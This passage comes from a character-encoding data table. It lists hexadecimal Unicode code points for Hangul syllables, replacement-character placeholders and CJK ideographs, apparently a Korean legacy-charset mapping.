0xC0E5, 0xC0E8, 0xC0EC, 0xC0F4, 0xC0F5, 0xC0F7, 0xC0F9, 0xC100, 0xC104,
0xC108, 0xC110, 0xC115, 0xC11C, 0xC11D, 0xC11E, 0xC11F, 0xC120, 0xC123,
0xC124, 0xC126, 0xC127, 0xC12C, 0xC12D, 0xC12F, 0xC130, 0xC131, 0xC136,
0xC138, 0xC139, 0xC13C, 0xC140, 0xC148, 0xC149, 0xC14B, 0xC14C, 0xC14D,
0xC154, 0xC155, 0xC158, 0xC15C, 0xC164, 0xC165, 0xC167, 0xC168, 0xC169,
0xC170, 0xC174, 0xC178, 0xC185, 0xC18C, 0xC18D, 0xC18E, 0xC190, 0xC194,
0xC196, 0xC19C, 0xC19D, 0xC19F, 0xC1A1, 0xC1A5, 0xC1A8, 0xC1A9, 0xC1AC,
0xC1B0, 0xC1BD, 0xC1C4, 0xC1C8, 0xC1CC, 0xC1D4, 0xC1D7, 0xC1D8, 0xC1E0,
0xC1E4, 0xC1E8, 0xC1F0, 0xC1F1, 0xC1F3, 0xC1FC, 0xC1FD, 0xC200, 0xC204,
0xC20C, 0xC20D, 0xC20F, 0xC211, 0xC218, 0xC219, 0xC21C, 0xC21F, 0xC220,
0xC228, 0xC229, 0xC22B, 0xC22D, 0xC22F, 0xC231, 0xC232, 0xC234, 0xC248,
0xC250, 0xC251, 0xC254, 0xC258, 0xC260, 0xC265, 0xC26C, 0xC26D, 0xC270,
0xC274, 0xC27C, 0xC27D, 0xC27F, 0xC281, 0xC288, 0xC289, 0xC290, 0xC298,
0xC29B, 0xC29D, 0xC2A4, 0xC2A5, 0xC2A8, 0xC2AC, 0xC2AD, 0xC2B4, 0xC2B5,
0xC2B7, 0xC2B9, 0xC2DC, 0xC2DD, 0xC2E0, 0xC2E3, 0xC2E4, 0xC2EB, 0xC2EC,
0xC2ED, 0xC2EF, 0xC2F1, 0xC2F6, 0xC2F8, 0xC2F9, 0xC2FB, 0xC2FC, 0xC300,
0xC308, 0xC309, 0xC30C, 0xC30D, 0xC313, 0xC314, 0xC315, 0xC318, 0xC31C,
0xC324, 0xC325, 0xC328, 0xC329, 0xC345, 0xC368, 0xC369, 0xC36C, 0xC370,
0xC372, 0xC378, 0xC379, 0xC37C, 0xC37D, 0xC384, 0xC388, 0xC38C, 0xC3C0,
0xC3D8, 0xC3D9, 0xC3DC, 0xC3DF, 0xC3E0, 0xC3E2, 0xC3E8, 0xC3E9, 0xC3ED,
0xC3F4, 0xC3F5, 0xC3F8, 0xC408, 0xC410, 0xC424, 0xC42C, 0xC430, 0xC434,
0xC43C, 0xC43D, 0xC448, 0xC464, 0xC465, 0xC468, 0xC46C, 0xC474, 0xC475,
0xC479, 0xC480, 0xC494, 0xC49C, 0xC4B8, 0xC4BC, 0xC4E9, 0xC4F0, 0xC4F1,
0xC4F4, 0xC4F8, 0xC4FA, 0xC4FF, 0xC500, 0xC501, 0xC50C, 0xC510, 0xC514,
0xC51C, 0xC528, 0xC529, 0xC52C, 0xC530, 0xC538, 0xC539, 0xC53B, 0xC53D,
0xC544, 0xC545, 0xC548, 0xC549, 0xC54A, 0xC54C, 0xC54D, 0xC54E, 0xC553,
0xC554, 0xC555, 0xC557, 0xC558, 0xC559, 0xC55D, 0xC55E, 0xC560, 0xC561,
0xC564, 0xC568, 0xC570, 0xC571, 0xC573, 0xC574, 0xC575, 0xC57C, 0xC57D,
0xC580, 0xC584, 0xC587, 0xC58C, 0xC58D, 0xC58F, 0xC591, 0xC595, 0xC597,
0xC598, 0xC59C, 0xC5A0, 0xC5A9, 0xC5B4, 0xC5B5, 0xC5B8, 0xC5B9, 0xC5BB,
0xC5BC, 0xC5BD, 0xC5BE, 0xC5C4, 0xC5C5, 0xC5C6, 0xC5C7, 0xC5C8, 0xC5C9,
0xC5CA, 0xC5CC, 0xC5CE, 0xC5D0, 0xC5D1, 0xC5D4, 0xC5D8, 0xC5E0, 0xC5E1,
0xC5E3, 0xC5E5, 0xC5EC, 0xC5ED, 0xC5EE, 0xC5F0, 0xC5F4, 0xC5F6, 0xC5F7,
0xC5FC, 0xC5FD, 0xC5FE, 0xC5FF, 0xC600, 0xC601, 0xC605, 0xC606, 0xC607,
0xC608, 0xC60C, 0xC610, 0xC618, 0xC619, 0xC61B, 0xC61C, 0xC624, 0xC625,
0xC628, 0xC62C, 0xC62D, 0xC62E, 0xC630, 0xC633, 0xC634, 0xC635, 0xC637,
0xC639, 0xC63B, 0xC640, 0xC641, 0xC644, 0xC648, 0xC650, 0xC651, 0xC653,
0xC654, 0xC655, 0xC65C, 0xC65D, 0xC660, 0xC66C, 0xC66F, 0xC671, 0xC678,
0xC679, 0xC67C, 0xC680, 0xC688, 0xC689, 0xC68B, 0xC68D, 0xC694, 0xC695,
0xC698, 0xC69C, 0xC6A4, 0xC6A5, 0xC6A7, 0xC6A9, 0xC6B0, 0xC6B1, 0xC6B4,
0xC6B8, 0xC6B9, 0xC6BA, 0xC6C0, 0xC6C1, 0xC6C3, 0xC6C5, 0xC6CC, 0xC6CD,
0xC6D0, 0xC6D4, 0xC6DC, 0xC6DD, 0xC6E0, 0xC6E1, 0xC6E8, 0xC6E9, 0xC6EC,
0xC6F0, 0xC6F8, 0xC6F9, 0xC6FD, 0xC704, 0xC705, 0xC708, 0xC70C, 0xC714,
0xC715, 0xC717, 0xC719, 0xC720, 0xC721, 0xC724, 0xC728, 0xC730, 0xC731,
0xC733, 0xC735, 0xC737, 0xC73C, 0xC73D, 0xC740, 0xC744, 0xC74A, 0xC74C,
0xC74D, 0xC74F, 0xC751, 0xC752, 0xC753, 0xC754, 0xC755, 0xC756, 0xC757,
0xC758, 0xC75C, 0xC760, 0xC768, 0xC76B, 0xC774, 0xC775, 0xC778, 0xC77C,
0xC77D, 0xC77E, 0xC783, 0xC784, 0xC785, 0xC787, 0xC788, 0xC789, 0xC78A,
0xC78E, 0xC790, 0xC791, 0xC794, 0xC796, 0xC797, 0xC798, 0xC79A, 0xC7A0,
0xC7A1, 0xC7A3, 0xC7A4, 0xC7A5, 0xC7A6, 0xC7AC, 0xC7AD, 0xC7B0, 0xC7B4,
0xC7BC, 0xC7BD, 0xC7BF, 0xC7C0, 0xC7C1, 0xC7C8, 0xC7C9, 0xC7CC, 0xC7CE,
0xC7D0, 0xC7D8, 0xC7DD, 0xC7E4, 0xC7E8, 0xC7EC, 0xC800, 0xC801, 0xC804,
0xC808, 0xC80A, 0xC810, 0xC811, 0xC813, 0xC815, 0xC816, 0xC81C, 0xC81D,
0xC820, 0xC824, 0xC82C, 0xC82D, 0xC82F, 0xC831, 0xC838, 0xC83C, 0xC840,
0xC848, 0xC849, 0xC84C, 0xC84D, 0xC854, 0xC870, 0xC871, 0xC874, 0xC878,
0xC87A, 0xC880, 0xC881, 0xC883, 0xC885, 0xC886, 0xC887, 0xC88B, 0xC88C,
0xC88D, 0xC894, 0xC89D, 0xC89F, 0xC8A1, 0xC8A8, 0xC8BC, 0xC8BD, 0xC8C4,
0xC8C8, 0xC8CC, 0xC8D4, 0xC8D5, 0xC8D7, 0xC8D9, 0xC8E0, 0xC8E1, 0xC8E4,
0xC8F5, 0xC8FC, 0xC8FD, 0xC900, 0xC904, 0xC905, 0xC906, 0xC90C, 0xC90D,
0xC90F, 0xC911, 0xC918, 0xC92C, 0xC934, 0xC950, 0xC951, 0xC954, 0xC958,
0xC960, 0xC961, 0xC963, 0xC96C, 0xC970, 0xC974, 0xC97C, 0xC988, 0xC989,
0xC98C, 0xC990, 0xC998, 0xC999, 0xC99B, 0xC99D, 0xC9C0, 0xC9C1, 0xC9C4,
0xC9C7, 0xC9C8, 0xC9CA, 0xC9D0, 0xC9D1, 0xC9D3, 0xC9D5, 0xC9D6, 0xC9D9,
0xC9DA, 0xC9DC, 0xC9DD, 0xC9E0, 0xC9E2, 0xC9E4, 0xC9E7, 0xC9EC, 0xC9ED,
0xC9EF, 0xC9F0, 0xC9F1, 0xC9F8, 0xC9F9, 0xC9FC, 0xCA00, 0xCA08, 0xCA09,
0xCA0B, 0xCA0C, 0xCA0D, 0xCA14, 0xCA18, 0xCA29, 0xCA4C, 0xCA4D, 0xCA50,
0xCA54, 0xCA5C, 0xCA5D, 0xCA5F, 0xCA60, 0xCA61, 0xCA68, 0xCA7D, 0xCA84,
0xCA98, 0xCABC, 0xCABD, 0xCAC0, 0xCAC4, 0xCACC, 0xCACD, 0xCACF, 0xCAD1,
0xCAD3, 0xCAD8, 0xCAD9, 0xCAE0, 0xCAEC, 0xCAF4, 0xCB08, 0xCB10, 0xCB14,
0xCB18, 0xCB20, 0xCB21, 0xCB41, 0xCB48, 0xCB49, 0xCB4C, 0xCB50, 0xCB58,
0xCB59, 0xCB5D, 0xCB64, 0xCB78, 0xCB79, 0xCB9C, 0xCBB8, 0xCBD4, 0xCBE4,
0xCBE7, 0xCBE9, 0xCC0C, 0xCC0D, 0xCC10, 0xCC14, 0xCC1C, 0xCC1D, 0xCC21,
0xCC22, 0xCC27, 0xCC28, 0xCC29, 0xCC2C, 0xCC2E, 0xCC30, 0xCC38, 0xCC39,
0xCC3B, 0xCC3C, 0xCC3D, 0xCC3E, 0xCC44, 0xCC45, 0xCC48, 0xCC4C, 0xCC54,
0xCC55, 0xCC57, 0xCC58, 0xCC59, 0xCC60, 0xCC64, 0xCC66, 0xCC68, 0xCC70,
0xCC75, 0xCC98, 0xCC99, 0xCC9C, 0xCCA0, 0xCCA8, 0xCCA9, 0xCCAB, 0xCCAC,
0xCCAD, 0xCCB4, 0xCCB5, 0xCCB8, 0xCCBC, 0xCCC4, 0xCCC5, 0xCCC7, 0xCCC9,
0xCCD0, 0xCCD4, 0xCCE4, 0xCCEC, 0xCCF0, 0xCD01, 0xCD08, 0xCD09, 0xCD0C,
0xCD10, 0xCD18, 0xCD19, 0xCD1B, 0xCD1D, 0xCD24, 0xCD28, 0xCD2C, 0xCD39,
0xCD5C, 0xCD60, 0xCD64, 0xCD6C, 0xCD6D, 0xCD6F, 0xCD71, 0xCD78, 0xCD88,
0xCD94, 0xCD95, 0xCD98, 0xCD9C, 0xCDA4, 0xCDA5, 0xCDA7, 0xCDA9, 0xCDB0,
0xCDC4, 0xCDCC, 0xCDD0, 0xCDE8, 0xCDEC, 0xCDF0, 0xCDF8, 0xCDF9, 0xCDFB,
0xCDFD, 0xCE04, 0xCE08, 0xCE0C, 0xCE14, 0xCE19, 0xCE20, 0xCE21, 0xCE24,
0xCE28, 0xCE30, 0xCE31, 0xCE33, 0xCE35, 0xCE58, 0xCE59, 0xCE5C, 0xCE5F,
0xCE60, 0xCE61, 0xCE68, 0xCE69, 0xCE6B, 0xCE6D, 0xCE74, 0xCE75, 0xCE78,
0xCE7C, 0xCE84, 0xCE85, 0xCE87, 0xCE89, 0xCE90, 0xCE91, 0xCE94, 0xCE98,
0xCEA0, 0xCEA1, 0xCEA3, 0xCEA4, 0xCEA5, 0xCEAC, 0xCEAD, 0xCEC1, 0xCEE4,
0xCEE5, 0xCEE8, 0xCEEB, 0xCEEC, 0xCEF4, 0xCEF5, 0xCEF7, 0xCEF8, 0xCEF9,
0xCF00, 0xCF01, 0xCF04, 0xCF08, 0xCF10, 0xCF11, 0xCF13, 0xCF15, 0xCF1C,
0xCF20, 0xCF24, 0xCF2C, 0xCF2D, 0xCF2F, 0xCF30, 0xCF31, 0xCF38, 0xCF54,
0xCF55, 0xCF58, 0xCF5C, 0xCF64, 0xCF65, 0xCF67, 0xCF69, 0xCF70, 0xCF71,
0xCF74, 0xCF78, 0xCF80, 0xCF85, 0xCF8C, 0xCFA1, 0xCFA8, 0xCFB0, 0xCFC4,
0xCFE0, 0xCFE1, 0xCFE4, 0xCFE8, 0xCFF0, 0xCFF1, 0xCFF3, 0xCFF5, 0xCFFC,
0xD000, 0xD004, 0xD011, 0xD018, 0xD02D, 0xD034, 0xD035, 0xD038, 0xD03C,
0xD044, 0xD045, 0xD047, 0xD049, 0xD050, 0xD054, 0xD058, 0xD060, 0xD06C,
0xD06D, 0xD070, 0xD074, 0xD07C, 0xD07D, 0xD081, 0xD0A4, 0xD0A5, 0xD0A8,
0xD0AC, 0xD0B4, 0xD0B5, 0xD0B7, 0xD0B9, 0xD0C0, 0xD0C1, 0xD0C4, 0xD0C8,
0xD0C9, 0xD0D0, 0xD0D1, 0xD0D3, 0xD0D4, 0xD0D5, 0xD0DC, 0xD0DD, 0xD0E0,
0xD0E4, 0xD0EC, 0xD0ED, 0xD0EF, 0xD0F0, 0xD0F1, 0xD0F8, 0xD10D, 0xD130,
0xD131, 0xD134, 0xD138, 0xD13A, 0xD140, 0xD141, 0xD143, 0xD144, 0xD145,
0xD14C, 0xD14D, 0xD150, 0xD154, 0xD15C, 0xD15D, 0xD15F, 0xD161, 0xD168,
0xD16C, 0xD17C, 0xD184, 0xD188, 0xD1A0, 0xD1A1, 0xD1A4, 0xD1A8, 0xD1B0,
0xD1B1, 0xD1B3, 0xD1B5, 0xD1BA, 0xD1BC, 0xD1C0, 0xD1D8, 0xD1F4, 0xD1F8,
0xD207, 0xD209, 0xD210, 0xD22C, 0xD22D, 0xD230, 0xD234, 0xD23C, 0xD23D,
0xD23F, 0xD241, 0xD248, 0xD25C, 0xD264, 0xD280, 0xD281, 0xD284, 0xD288,
0xD290, 0xD291, 0xD295, 0xD29C, 0xD2A0, 0xD2A4, 0xD2AC, 0xD2B1, 0xD2B8,
0xD2B9, 0xD2BC, 0xD2BF, 0xD2C0, 0xD2C2, 0xD2C8, 0xD2C9, 0xD2CB, 0xD2D4,
0xD2D8, 0xD2DC, 0xD2E4, 0xD2E5, 0xD2F0, 0xD2F1, 0xD2F4, 0xD2F8, 0xD300,
0xD301, 0xD303, 0xD305, 0xD30C, 0xD30D, 0xD30E, 0xD310, 0xD314, 0xD316,
0xD31C, 0xD31D, 0xD31F, 0xD320, 0xD321, 0xD325, 0xD328, 0xD329, 0xD32C,
0xD330, 0xD338, 0xD339, 0xD33B, 0xD33C, 0xD33D, 0xD344, 0xD345, 0xD37C,
0xD37D, 0xD380, 0xD384, 0xD38C, 0xD38D, 0xD38F, 0xD390, 0xD391, 0xD398,
0xD399, 0xD39C, 0xD3A0, 0xD3A8, 0xD3A9, 0xD3AB, 0xD3AD, 0xD3B4, 0xD3B8,
0xD3BC, 0xD3C4, 0xD3C5, 0xD3C8, 0xD3C9, 0xD3D0, 0xD3D8, 0xD3E1, 0xD3E3,
0xD3EC, 0xD3ED, 0xD3F0, 0xD3F4, 0xD3FC, 0xD3FD, 0xD3FF, 0xD401, 0xD408,
0xD41D, 0xD440, 0xD444, 0xD45C, 0xD460, 0xD464, 0xD46D, 0xD46F, 0xD478,
0xD479, 0xD47C, 0xD47F, 0xD480, 0xD482, 0xD488, 0xD489, 0xD48B, 0xD48D,
0xD494, 0xD4A9, 0xD4CC, 0xD4D0, 0xD4D4, 0xD4DC, 0xD4DF, 0xD4E8, 0xD4EC,
0xD4F0, 0xD4F8, 0xD4FB, 0xD4FD, 0xD504, 0xD508, 0xD50C, 0xD514, 0xD515,
0xD517, 0xD53C, 0xD53D, 0xD540, 0xD544, 0xD54C, 0xD54D, 0xD54F, 0xD551,
0xD558, 0xD559, 0xD55C, 0xD560, 0xD565, 0xD568, 0xD569, 0xD56B, 0xD56D,
0xD574, 0xD575, 0xD578, 0xD57C, 0xD584, 0xD585, 0xD587, 0xD588, 0xD589,
0xD590, 0xD5A5, 0xD5C8, 0xD5C9, 0xD5CC, 0xD5D0, 0xD5D2, 0xD5D8, 0xD5D9,
0xD5DB, 0xD5DD, 0xD5E4, 0xD5E5, 0xD5E8, 0xD5EC, 0xD5F4, 0xD5F5, 0xD5F7,
0xD5F9, 0xD600, 0xD601, 0xD604, 0xD608, 0xD610, 0xD611, 0xD613, 0xD614,
0xD615, 0xD61C, 0xD620, 0xD624, 0xD62D, 0xD638, 0xD639, 0xD63C, 0xD640,
0xD645, 0xD648, 0xD649, 0xD64B, 0xD64D, 0xD651, 0xD654, 0xD655, 0xD658,
0xD65C, 0xD667, 0xD669, 0xD670, 0xD671, 0xD674, 0xD683, 0xD685, 0xD68C,
0xD68D, 0xD690, 0xD694, 0xD69D, 0xD69F, 0xD6A1, 0xD6A8, 0xD6AC, 0xD6B0,
0xD6B9, 0xD6BB, 0xD6C4, 0xD6C5, 0xD6C8, 0xD6CC, 0xD6D1, 0xD6D4, 0xD6D7,
0xD6D9, 0xD6E0, 0xD6E4, 0xD6E8, 0xD6F0, 0xD6F5, 0xD6FC, 0xD6FD, 0xD700,
0xD704, 0xD711, 0xD718, 0xD719, 0xD71C, 0xD720, 0xD728, 0xD729, 0xD72B,
0xD72D, 0xD734, 0xD735, 0xD738, 0xD73C, 0xD744, 0xD747, 0xD749, 0xD750,
0xD751, 0xD754, 0xD756, 0xD757, 0xD758, 0xD759, 0xD760, 0xD761, 0xD763,
0xD765, 0xD769, 0xD76C, 0xD770, 0xD774, 0xD77C, 0xD77D, 0xD781, 0xD788,
0xD789, 0xD78C, 0xD790, 0xD798, 0xD799, 0xD79B, 0xD79D, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0x4F3D, 0x4F73, 0x5047, 0x50F9, 0x52A0, 0x53EF, 0x5475,
0x54E5, 0x5609, 0x5AC1, 0x5BB6, 0x6687, 0x67B6, 0x67B7, 0x67EF, 0x6B4C,
0x73C2, 0x75C2, 0x7A3C, 0x82DB, 0x8304, 0x8857, 0x8888, 0x8A36, 0x8CC8,
0x8DCF, 0x8EFB, 0x8FE6, 0x99D5, 0x523B, 0x5374, 0x5404, 0x606A, 0x6164,
0x6BBC, 0x73CF, 0x811A, 0x89BA, 0x89D2, 0x95A3, 0x4F83, 0x520A, 0x58BE,
0x5978, 0x59E6, 0x5E72, 0x5E79, 0x61C7, 0x63C0, 0x6746, 0x67EC, 0x687F,
0x6F97, 0x764E, 0x770B, 0x78F5, 0x7A08, 0x7AFF, 0x7C21, 0x809D, 0x826E,
0x8271, 0x8AEB, 0x9593, 0x4E6B, 0x559D, 0x66F7, 0x6E34, 0x78A3, 0x7AED,
0x845B, 0x8910, 0x874E, 0x97A8, 0x52D8, 0x574E, 0x582A, 0x5D4C, 0x611F,
0x61BE, 0x6221, 0x6562, 0x67D1, 0x6A44, 0x6E1B, 0x7518, 0x75B3, 0x76E3,
0x77B0, 0x7D3A, 0x90AF, 0x9451, 0x9452, 0x9F95, 0x5323, 0x5CAC, 0x7532,
0x80DB, 0x9240, 0x9598, 0x525B, 0x5808, 0x59DC, 0x5CA1, 0x5D17, 0x5EB7,
0x5F3A, 0x5F4A, 0x6177, 0x6C5F, 0x757A, 0x7586, 0x7CE0, 0x7D73, 0x7DB1,
0x7F8C, 0x8154, 0x8221, 0x8591, 0x8941, 0x8B1B, 0x92FC, 0x964D, 0x9C47,
0x4ECB, 0x4EF7, 0x500B, 0x51F1, 0x584F, 0x6137, 0x613E, 0x6168, 0x6539,
0x69EA, 0x6F11, 0x75A5, 0x7686, 0x76D6, 0x7B87, 0x82A5, 0x84CB, 0xF900,
0x93A7, 0x958B, 0x5580, 0x5BA2, 0x5751, 0xF901, 0x7CB3, 0x7FB9, 0x91B5,
0x5028, 0x53BB, 0x5C45, 0x5DE8, 0x62D2, 0x636E, 0x64DA, 0x64E7, 0x6E20,
0x70AC, 0x795B, 0x8DDD, 0x8E1E, 0xF902, 0x907D, 0x9245, 0x92F8, 0x4E7E,
0x4EF6, 0x5065, 0x5DFE, 0x5EFA, 0x6106, 0x6957, 0x8171, 0x8654, 0x8E47,
0x9375, 0x9A2B, 0x4E5E, 0x5091, 0x6770, 0x6840, 0x5109, 0x528D, 0x5292,
0x6AA2, 0x77BC, 0x9210, 0x9ED4, 0x52AB, 0x602F, 0x8FF2, 0x5048, 0x61A9,
0x63ED, 0x64CA, 0x683C, 0x6A84, 0x6FC0, 0x8188, 0x89A1, 0x9694, 0x5805,
0x727D, 0x72AC, 0x7504, 0x7D79, 0x7E6D, 0x80A9, 0x898B, 0x8B74, 0x9063,
0x9D51, 0x6289, 0x6C7A, 0x6F54, 0x7D50, 0x7F3A, 0x8A23, 0x517C, 0x614A,
0x7B9D, 0x8B19, 0x9257, 0x938C, 0x4EAC, 0x4FD3, 0x501E, 0x50BE, 0x5106,
0x52C1, 0x52CD, 0x537F, 0x5770, 0x5883, 0x5E9A, 0x5F91, 0x6176, 0x61AC,
0x64CE, 0x656C, 0x666F, 0x66BB, 0x66F4, 0x6897, 0x6D87, 0x7085, 0x70F1,
0x749F, 0x74A5, 0x74CA, 0x75D9, 0x786C, 0x78EC, 0x7ADF, 0x7AF6, 0x7D45,
0x7D93, 0x8015, 0x803F, 0x811B, 0x8396, 0x8B66, 0x8F15, 0x9015, 0x93E1,
0x9803, 0x9838, 0x9A5A, 0x9BE8, 0x4FC2, 0x5553, 0x583A, 0x5951, 0x5B63,
0x5C46, 0x60B8, 0x6212, 0x6842, 0x68B0, 0x68E8, 0x6EAA, 0x754C, 0x7678,
0x78CE, 0x7A3D, 0x7CFB, 0x7E6B, 0x7E7C, 0x8A08, 0x8AA1, 0x8C3F, 0x968E,
0x9DC4, 0x53E4, 0x53E9, 0x544A, 0x5471, 0x56FA, 0x59D1, 0x5B64, 0x5C3B,
0x5EAB, 0x62F7, 0x6537, 0x6545, 0x6572, 0x66A0, 0x67AF, 0x69C1, 0x6CBD,
0x75FC, 0x7690, 0x777E, 0x7A3F, 0x7F94, 0x8003, 0x80A1, 0x818F, 0x82E6,
0x82FD, 0x83F0, 0x85C1, 0x8831, 0x88B4, 0x8AA5, 0xF903, 0x8F9C, 0x932E,
0x96C7, 0x9867, 0x9AD8, 0x9F13, 0x54ED, 0x659B, 0x66F2, 0x688F, 0x7A40,
0x8C37, 0x9D60, 0x56F0, 0x5764, 0x5D11, 0x6606, 0x68B1, 0x68CD, 0x6EFE,
0x7428, 0x889E, 0x9BE4, 0x6C68, 0xF904, 0x9AA8, 0x4F9B, 0x516C, 0x5171,
0x529F, 0x5B54, 0x5DE5, 0x6050, 0x606D, 0x62F1, 0x63A7, 0x653B, 0x73D9,
0x7A7A, 0x86A3, 0x8CA2, 0x978F, 0x4E32, 0x5BE1, 0x6208, 0x679C, 0x74DC,
0x79D1, 0x83D3, 0x8A87, 0x8AB2, 0x8DE8, 0x904E, 0x934B, 0x9846, 0x5ED3,
0x69E8, 0x85FF, 0x90ED, 0xF905, 0x51A0, 0x5B98, 0x5BEC, 0x6163, 0x68FA,
0x6B3E, 0x704C, 0x742F, 0x74D8, 0x7BA1, 0x7F50, 0x83C5, 0x89C0, 0x8CAB,
0x95DC, 0x9928, 0x522E, 0x605D, 0x62EC, 0x9002, 0x4F8A, 0x5149, 0x5321,
0x58D9, 0x5EE3, 0x66E0, 0x6D38, 0x709A, 0x72C2, 0x73D6, 0x7B50, 0x80F1,
0x945B, 0x5366, 0x639B, 0x7F6B, 0x4E56, 0x5080, 0x584A, 0x58DE, 0x602A,
0x6127, 0x62D0, 0x69D0, 0x9B41, 0x5B8F, 0x7D18, 0x80B1, 0x8F5F, 0x4EA4,
0x50D1, 0x54AC, 0x55AC, 0x5B0C, 0x5DA0, 0x5DE7, 0x652A, 0x654E, 0x6821,
0x6A4B, 0x72E1, 0x768E, 0x77EF, 0x7D5E, 0x7FF9, 0x81A0, 0x854E, 0x86DF,
0x8F03, 0x8F4E, 0x90CA, 0x9903, 0x9A55, 0x9BAB, 0x4E18, 0x4E45, 0x4E5D,
0x4EC7, 0x4FF1, 0x5177, 0x52FE, 0x5340, 0x53E3, 0x53E5, 0x548E, 0x5614,
0x5775, 0x57A2, 0x5BC7, 0x5D87, 0x5ED0, 0x61FC, 0x62D8, 0x6551, 0x67B8,
0x67E9, 0x69CB, 0x6B50, 0x6BC6, 0x6BEC, 0x6C42, 0x6E9D, 0x7078, 0x72D7,
0x7396, 0x7403, 0x77BF, 0x77E9, 0x7A76, 0x7D7F, 0x8009, 0x81FC, 0x8205,
0x820A, 0x82DF, 0x8862, 0x8B33, 0x8CFC, 0x8EC0, 0x9011, 0x90B1, 0x9264,
0x92B6, 0x99D2, 0x9A45, 0x9CE9, 0x9DD7, 0x9F9C, 0x570B, 0x5C40, 0x83CA,
0x97A0, 0x97AB, 0x9EB4, 0x541B, 0x7A98, 0x7FA4, 0x88D9, 0x8ECD, 0x90E1,
0x5800, 0x5C48, 0x6398, 0x7A9F, 0x5BAE, 0x5F13, 0x7A79, 0x7AAE, 0x828E,
0x8EAC, 0x5026, 0x5238, 0x52F8, 0x5377, 0x5708, 0x62F3, 0x6372, 0x6B0A,
0x6DC3, 0x7737, 0x53A5, 0x7357, 0x8568, 0x8E76, 0x95D5, 0x673A, 0x6AC3,
0x6F70, 0x8A6D, 0x8ECC, 0x994B, 0xF906, 0x6677, 0x6B78, 0x8CB4, 0x9B3C,
0xF907, 0x53EB, 0x572D, 0x594E, 0x63C6, 0x69FB, 0x73EA, 0x7845, 0x7ABA,
0x7AC5, 0x7CFE, 0x8475, 0x898F, 0x8D73, 0x9035, 0x95A8, 0x52FB, 0x5747,
0x7547, 0x7B60, 0x83CC, 0x921E, 0xF908, 0x6A58, 0x514B, 0x524B, 0x5287,
0x621F, 0x68D8, 0x6975, 0x9699, 0x50C5, 0x52A4, 0x52E4, 0x61C3, 0x65A4,
0x6839, 0x69FF, 0x747E, 0x7B4B, 0x82B9, 0x83EB, 0x89B2, 0x8B39, 0x8FD1,
0x9949, 0xF909, 0x4ECA, 0x5997, 0x64D2, 0x6611, 0x6A8E, 0x7434, 0x7981,
0x79BD, 0x82A9, 0x887E, 0x887F, 0x895F, 0xF90A, 0x9326, 0x4F0B, 0x53CA,
0x6025, 0x6271, 0x6C72, 0x7D1A, 0x7D66, 0x4E98, 0x5162, 0x77DC, 0x80AF,
0x4F01, 0x4F0E, 0x5176, 0x5180, 0x55DC, 0x5668, 0x573B, 0x57FA, 0x57FC,
0x5914, 0x5947, 0x5993, 0x5BC4, 0x5C90, 0x5D0E, 0x5DF1, 0x5E7E, 0x5FCC,
0x6280, 0x65D7, 0x65E3, 0x671E, 0x671F, 0x675E, 0x68CB, 0x68C4, 0x6A5F,
0x6B3A, 0x6C23, 0x6C7D, 0x6C82, 0x6DC7, 0x7398, 0x7426, 0x742A, 0x7482,
0x74A3, 0x7578, 0x757F, 0x7881, 0x78EF, 0x7941, 0x7947, 0x7948, 0x797A,
0x7B95, 0x7D00, 0x7DBA, 0x7F88, 0x8006, 0x802D, 0x808C, 0x8A18, 0x8B4F,
0x8C48, 0x8D77, 0x9321, 0x9324, 0x98E2, 0x9951, 0x9A0E, 0x9A0F, 0x9A65,
0x9E92, 0x7DCA, 0x4F76, 0x5409, 0x62EE, 0x6854, 0x91D1, 0x55AB, 0x513A,
0xF90B, 0xF90C, 0x5A1C, 0x61E6, 0xF90D, 0x62CF, 0x62FF, 0xF90E, 0xF90F,
0xF910, 0xF911, 0xF912, 0xF913, 0x90A3, 0xF914, 0xF915, 0xF916, 0xF917,
0xF918, 0x8AFE, 0xF919, 0xF91A, 0xF91B, 0xF91C, 0x6696, 0xF91D, 0x7156,
0xF91E, 0xF91F, 0x96E3, 0xF920, 0x634F, 0x637A, 0x5357, 0xF921, 0x678F,
0x6960, 0x6E73, 0xF922, 0x7537, 0xF923, 0xF924, 0xF925, 0x7D0D, 0xF926,
0xF927, 0x8872, 0x56CA, 0x5A18, 0xF928, 0xF929, 0xF92A, 0xF92B, 0xF92C,
0x4E43, 0xF92D, 0x5167, 0x5948, 0x67F0, 0x8010, 0xF92E, 0x5973, 0x5E74,
0x649A, 0x79CA, 0x5FF5, 0x606C, 0x62C8, 0x637B, 0x5BE7, 0x5BD7, 0x52AA,
0xF92F, 0x5974, 0x5F29, 0x6012, 0xF930, 0xF931, 0xF932, 0x7459, 0xF933,
0xF934, 0xF935, 0xF936, 0xF937, 0xF938, 0x99D1, 0xF939, 0xF93A, 0xF93B,
0xF93C, 0xF93D, 0xF93E, 0xF93F, 0xF940, 0xF941, 0xF942, 0xF943, 0x6FC3,
0xF944, 0xF945, 0x81BF, 0x8FB2, 0x60F1, 0xF946, 0xF947, 0x8166, 0xF948,
0xF949, 0x5C3F, 0xF94A, 0xF94B, 0xF94C, 0xF94D, 0xF94E, 0xF94F, 0xF950,
